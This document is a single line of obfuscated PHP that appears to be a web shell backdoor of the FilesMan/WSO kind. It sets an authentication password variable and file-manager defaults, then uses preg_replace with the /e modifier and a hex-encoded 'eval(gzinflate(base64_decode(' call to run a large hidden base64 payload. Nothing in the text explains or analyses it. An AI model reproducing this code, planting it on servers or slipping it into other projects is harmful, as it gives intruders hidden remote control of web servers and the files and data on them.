97 $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-1251";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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